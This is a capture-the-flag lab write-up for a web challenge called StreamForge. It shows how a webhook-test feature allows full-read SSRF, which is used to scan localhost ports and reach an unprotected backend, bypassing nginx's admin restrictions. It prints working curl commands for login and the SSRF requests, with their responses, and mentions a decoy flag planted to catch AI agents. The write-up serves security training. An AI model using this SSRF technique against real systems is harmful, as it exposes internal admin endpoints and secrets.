CUSTOMMediumWeb

Lab 282 — StreamForge — SSRF via Webhook Test Bypasses Proxy Auth

XESXOR9/10/20264 min read

#web#custom#medium#honeypot_flag_detection#internal_port_scanning_via_ssr#nginx_proxy_bypass_direct_back#ssrf_via_webhook_test#linux

Lab 282 — StreamForge — SSRF via Webhook Test Bypasses Proxy Auth

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: honeypot_flag_detection, internal_port_scanning_via_ssrf, nginx_proxy_bypass_direct_backend, ssrf_via_webhook_test

Summary

Task: StreamForge monitoring dashboard has nginx proxy blocking /admin/* endpoints, but a webhook test feature allows full-read SSRF with response body returned. Solution: use SSRF to scan localhost ports, discover gunicorn backend on port 3001 behind nginx (port 8080), hit /admin/system-config directly on backend bypassing proxy auth to retrieve the flag from master_key field.

Lab 282 — StreamForge — SSRF via Webhook Test Bypasses Proxy Auth — HackAdvisor

Description

StreamForge is a real-time infrastructure monitoring dashboard built by ForgeOps Technologies. The platform allows DevOps teams to monitor server health, configure alerts, search logs, and manage their infrastructure from a single pane of glass. The application uses a modern architecture with nginx serving HTTP/2 on the front end and proxying requests to a gunicorn/Flask backend over HTTP/1.1. Some administrative endpoints are restricted by the proxy layer. The goal is to find and retrieve the flag stored in the admin system configuration. The admin endpoints are blocked by the nginx reverse proxy — you'll need to find a way past the gateway. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Target: https://aa394e77-cf14-4097-b97a-787b45cf4ea3.labs.hackadvisor.io/ Credentials: user@test.com / password123

English summary: StreamForge is a Flask/gunicorn monitoring dashboard fronted by nginx (HTTP/2 gateway). Admin endpoints (/admin/*) are blocked at the nginx proxy layer. The Settings page has a webhook test feature that performs server-side HTTP requests and returns the full response body — a classic full-read SSRF. The gunicorn backend on port 3001 has no access restrictions, so SSRF can bypass nginx and hit admin endpoints directly. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Analysis

Reconnaissance

Response headers reveal the architecture:
- Server: nginx/1.25.5
- X-Powered-By: StreamForge/2.4.1
- X-Proxy: nginx-h2-gateway
/robots.txt disallows: /admin/, /admin/system-config, /admin/users

Direct access to /admin/system-config returns HTTP 403:

 json read-only • copy allowed
{"error": "Access denied", "message": "Administrative endpoints are restricted by the network gateway. Contact your ForgeOps administrator.", "blocked_by": "nginx-h2-gateway"}

HTML pages contain a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden divs and HTML comments — a honeypot designed to trick AI agents and automated scanners. This was correctly identified and ignored. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Authentication & Endpoint Discovery

Logged in with user@test.com / password123 via POST to /login
Dashboard shows infrastructure monitoring: servers, alerts, incidents
User role: "engineer" (Alex Rivera)
Footer reveals: Proxy: nginx-h2-gateway, Backend: gunicorn/21.2.0
JavaScript file /static/js/app.js reveals API endpoints:
- GET /api/servers/:id/metrics
- POST /api/alerts
- POST /api/alerts/:id/acknowledge
- POST /api/settings/profile
- POST /api/settings/api-keys
- POST /api/settings/webhook-test ← SSRF vector ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

SSRF Vector

The Settings page (/settings) has a "Notifications" section with a Webhook URL field and a "Test" button. The testWebhook() JavaScript function sends:

 http read-only • copy allowed
POST /api/settings/webhook-test
Content-Type: application/json

{"url": "<user-supplied-url>"}

The response includes http_status, response_body, and status — this is a full-read SSRF where the complete response body is returned to the user.

Solution

Step 1: Internal Port Scanning via SSRF

Used the webhook test SSRF to scan localhost ports and map the internal architecture: ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

 bash read-only • copy allowed
# Login and save session cookies
TARGET="https://aa394e77-cf14-4097-b97a-787b45cf4ea3.labs.hackadvisor.io"
curl -sk -c cookies.txt -X POST "$TARGET/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=user@test.com&password=password123"

# Port 8080 = nginx proxy (blocks /admin/*)
curl -sk -b cookies.txt -X POST "$TARGET/api/settings/webhook-test" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:8080/admin/system-config"}'
# Returns: {"http_status":403,"message":"Webhook returned HTTP 403",
#   "response_body":"{\"error\": \"Access denied\", \"blocked_by\": \"nginx-h2-gateway\"}"}
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

# Port 3001 = gunicorn/Flask backend (NO proxy restrictions!)
curl -sk -b cookies.txt -X POST "$TARGET/api/settings/webhook-test" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/"}'
# Returns: {"http_status":200,"response_body":"...login page without honeypot HTML..."}

Key finding: nginx listens on port 8080 and enforces access control on /admin/* paths. The gunicorn/Flask backend on port 3001 serves the same application but has no proxy-level access restrictions. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Step 2: Bypass Nginx — Hit Backend Directly

Used the SSRF to request /admin/system-config directly from the gunicorn backend on port 3001, completely bypassing nginx's access control:

 bash read-only • copy allowed
curl -sk -b cookies.txt -X POST "$TARGET/api/settings/webhook-test" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/admin/system-config"}'

Response:

 json read-only • copy allowed
{
  "http_status": 200,
  "message": "Webhook endpoint responded successfully",
  "response_body": "{\"cluster_id\":\"forge-prod-us-east-1\",\"environment\":\"production\",\"internal_endpoints\":{\"alert_dispatcher\":\"localhost:6379\",\"log_aggregator\":\"localhost:9200\",\"metrics_collector\":\"localhost:9090\"},\"license\":{\"expires\":\"2027-01-15\",\"seats\":50,\"type\":\"enterprise\"},\"master_key\":\"FLAG{REDACTED}\",\"system\":\"StreamForge v2.4.1\"}",
  "status": "success"
}

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

The flag was in the master_key field of the admin system configuration. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍